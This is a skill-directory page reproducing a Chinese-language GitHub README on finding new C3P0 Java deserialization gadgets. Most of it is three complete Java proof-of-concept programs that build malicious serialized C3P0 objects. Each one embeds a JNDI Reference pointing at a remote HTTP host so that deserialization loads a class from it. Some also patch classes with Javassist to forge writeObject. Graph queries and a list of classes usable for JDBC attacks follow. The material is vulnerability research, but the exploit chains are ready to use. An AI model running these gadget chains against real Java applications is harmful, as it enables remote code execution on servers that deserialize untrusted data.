SkillAgentSearch skills...

C3p0explore

c3p0 new gadget

Install / Use

/learn @unam4/C3p0explore
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

随便写的,随便看看

C3p0新gadget探索及扩展利用

0x01 jdkreadobject

MATCH path=(:Method {NAME: "readObject"})
        -[:CALL|ALIAS*1..2]->(:Method {NAME: "getObject"})
        -[:CALL|ALIAS*2..3]->(m2:Method )
WHERE m2.NAME IN ["lookup", "getObjectInstance", "newInstance"]
RETURN path

image-20250113002221738

1 jndiRefDataSourceBase

package org.unam4.jdkser;

import org.unam4.utils;

import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.ldap.LdapName;
import java.util.Hashtable;

public class jndiRefDataSourceBase {
    public static void main(String[] args) throws Exception {

        //可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class,Reference可直接指向自己的com.mchange.v2.naming.JavaBeanObjectFactory去调用stter触发c3p0二次反序列化
        Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);
        //contextName为空的时候,不走jndi,去走reference流程。
        utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
        //配置context的信息
        utils.setFieldValue(o, "env", env);
        Object base = utils.createWithoutConstructor("com.mchange.v2.c3p0.impl.JndiRefDataSourceBase");
        utils.setFieldValue(base, "jndiName", o);
        byte[] serialize = utils.serialize(base);
        utils.unserialize(serialize);
    }
}

2 WrappeDataSource

package org.unam4.jdkser;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.unam4.utils;

import javax.naming.*;
import javax.naming.ldap.LdapName;
import java.io.*;
import java.util.Hashtable;

public class WrappeDataSource {
    public static void main(String[] args) throws Exception {
        renewfied ();
        WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();

        //可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class
        Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);
        //contextName为空的时候,不走jndi,去走reference流程。
        utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
        //配置context的信息
        utils.setFieldValue(o, "env", env);

        utils.setFieldValue(wrapperConnectionPoolDataSource, "nestedDataSource", o);

        ByteOutputStream stream = new ByteOutputStream();
        ObjectOutputStream objectInputStream = new ObjectOutputStream(stream);
        objectInputStream.writeObject(wrapperConnectionPoolDataSource);


//        byte[] serialize = utils.serialize(base);
//        FileOutputStream fileOutputStream = new FileOutputStream("c3p0.ser");
//        fileOutputStream.write(serialize);
//        fileOutputStream.close();
        utils.unserialize(stream.toByteArray());

    }

    private static  void renewfied (){
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.get("com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase");

            CtField connectionPoolDataSourceField = ctClass.getDeclaredField("nestedDataSource");
            ctClass.removeField(connectionPoolDataSourceField);

            CtField newField = CtField.make("private java.lang.Object nestedDataSource;", ctClass);
            ctClass.addField(newField);

            for (CtMethod method : ctClass.getDeclaredMethods()) {
                if (method.getName().contains("nestedDataSource") || method.getName().contains("writeObject") ) {
                    ctClass.removeMethod(method);
                }
            }

            CtMethod writeobj = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream var1) throws java.io.IOException {var1.writeShort(1);var1.writeInt(this.acquireIncrement);var1.writeInt(this.acquireRetryAttempts);var1.writeInt(this.acquireRetryDelay);var1.writeBoolean(this.attemptResurrectOnCheckin);var1.writeBoolean(this.autoCommitOnClose);var1.writeObject(this.automaticTestTable);var1.writeBoolean(this.breakAfterAcquireFailure);var1.writeInt(this.checkoutTimeout);var1.writeObject(this.connectionCustomizerClassName);var1.writeInt(this.connectionIsValidTimeout);var1.writeObject(this.connectionTesterClassName);var1.writeObject(this.contextClassLoaderSource);var1.writeBoolean(this.debugUnreturnedConnectionStackTraces);var1.writeObject(this.factoryClassLocation);var1.writeBoolean(this.forceIgnoreUnresolvedTransactions);var1.writeBoolean(this.forceSynchronousCheckins);var1.writeObject(this.identityToken);var1.writeInt(this.idleConnectionTestPeriod);var1.writeInt(this.initialPoolSize);var1.writeObject(this.markSessionBoundaries);var1.writeInt(this.maxAdministrativeTaskTime);var1.writeInt(this.maxConnectionAge);var1.writeInt(this.maxIdleTime);var1.writeInt(this.maxIdleTimeExcessConnections);var1.writeInt(this.maxPoolSize);var1.writeInt(this.maxStatements);var1.writeInt(this.maxStatementsPerConnection);var1.writeInt(this.minPoolSize);var1.writeObject(this.nestedDataSource);}", ctClass);

            ctClass.addMethod(writeobj);
            ctClass.writeFile();

            ctClass.toClass(Thread.currentThread().getContextClassLoader());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

3.poolbackedDataSourceBase

package org.unam4.jdkser;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;
import org.unam4.utils;

import javax.naming.*;
import javax.naming.ldap.LdapName;
import java.util.Hashtable;

public class poolbackedDataSourceBase {
    public static void main(String[] args) throws Exception {
        renewfied ();

        //可打本地Reference,若在低版本tomcat下,打tomcatel表达式,高版本打dhcp,hairkpool转jdbc。或者直接调用urlclassload加载class
        Reference reference = new Reference("calculator", "calculator", "http://5fe1ef0bcb.ipv6.1433.eu.org/");

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:80");
        Object o = utils.createWithoutConstructor("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
        utils.setFieldValue(o, "reference", reference);
        //contextName为空的时候,不走jndi,去走reference流程。
        utils.setFieldValue(o, "contextName", new LdapName("cn=Object"));
        //配置context的信息
        utils.setFieldValue(o, "env", env);


        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(true);
        utils.setFieldValue(poolBackedDataSourceBase,"connectionPoolDataSource",o);

        byte[] serialize = utils.serialize(poolBackedDataSourceBase);
        utils.unserialize(serialize);

    }

    private static  void renewfied (){
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.get("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");

            CtField connectionPoolDataSourceField = ctClass.getDeclaredField("connectionPoolDataSource");
            ctClass.removeField(connectionPoolDataSourceField);

            CtField newField = CtField.make("private java.lang.Object connectionPoolDataSource;", ctClass);
            ctClass.addField(newField);

            for (CtMethod method : ctClass.getDeclaredMethods()) {
                if (method.getName().contains("ConnectionPoolDataSource") || method.getName().contains("writeObject") ) {
                    ctClass.removeMethod(method);
                }
            }

            CtMethod writeobj = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream var1) throws java.io.IOException {var1.writeShort(1); var1.writeObject(this.connectionPoolDataSource);}", ctClass);

            ctClass.addMethod(writeobj);
            ctClass.writeFile();

            ctClass.toClass(Thread.currentThread().getContextClassLoader());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

0x02 jdbc 攻击

MATCH path=(source:Method {NAME:"getConnection", PARAMETER_SIZE:0, RETURN_TYPE:"java.sql.Connection"})<-[:HAS]-(cls:Class)-[:INTERFACE|EXTENDS*]->(cls1:Class)
WHERE cls1.NAME = "java.io.Serializable" 
WITH path, [node IN nodes(path) WHERE node.IS_ABSTRACT = true ] AS abstractNodes 
RETURN path

image-20250113002900594

一共有查询出6个

com.mchange.v2.c3p0.debug.AfterCloseLoggingComboPooledDataSource

com.mchange.v2.c3p0.impl.AbstractPoolBackedDataSource

com.mchange.v2.c3p0.debug.CloseLoggingComboPooledDataSource

com.mchange.v2.c3p0.DriverManagerDataSource

com.mchange.v1.db.sql.DriverManagerDataSource

com.mchange.v2.c3p0.JndiRefForwardingDataSource

其中AbstractPoolBackedDataSource是抽象类,其中第一和第三个也是AbstractPoolBackedDataSource的子类,且有相应实现。子类在没有getconntion时会调用父类的方法。所以还有几个类也可用来构造jdbc攻击。

image-20250113003847446

com.mchange.v2.c3p0.PoolBackedDataSource

com.mchange.v2.c3p0.debug.Construction

Related Skills

View on GitHub
GitHub Stars28
CategoryDevelopment
Updated2mo ago
Forks0

Languages

Java

Security Score

70/100

Audited on Jan 21, 2026

No findings